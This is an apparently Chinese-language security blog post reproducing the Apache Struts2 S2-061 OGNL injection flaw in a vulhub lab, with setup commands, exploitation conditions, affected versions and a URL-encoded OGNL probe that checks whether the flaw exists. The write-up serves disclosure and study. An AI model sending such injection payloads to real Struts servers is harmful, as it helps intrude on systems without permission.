声明
由于传播、利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博鸿科技安全服务中心以及文章作者不为此承担任何责任。
博鸿科技安全服务中心拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经博鸿科技安全服务中心允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
0x00 软件介绍
struts2:面向JAVA EE的一款java web开发框架0x01 复现环境
使用环境:vulhub中的环境: https://github.com/vulhub/vulhub/tree/master/struts2/s2-061 复现版本:Apache Struts 2.5.250x02 环境搭建
一台云上的vps git clone https://github.com/vulhub/vulhub cd ./vulhub/ cd ./struts2/ cd ./s2-061/ systemctl start docker docker-compose up -d0x03 利用条件
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用0x04 影响版本
Apache Struts 2.0.0 - Struts 2.5.250x05 漏洞复现
攻击环境:kali_x64_en-usEXP1(验证漏洞是否存在):http://ybdt.best:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d
查看返回页面的源码,如下图,包含“test2020”表示漏洞存在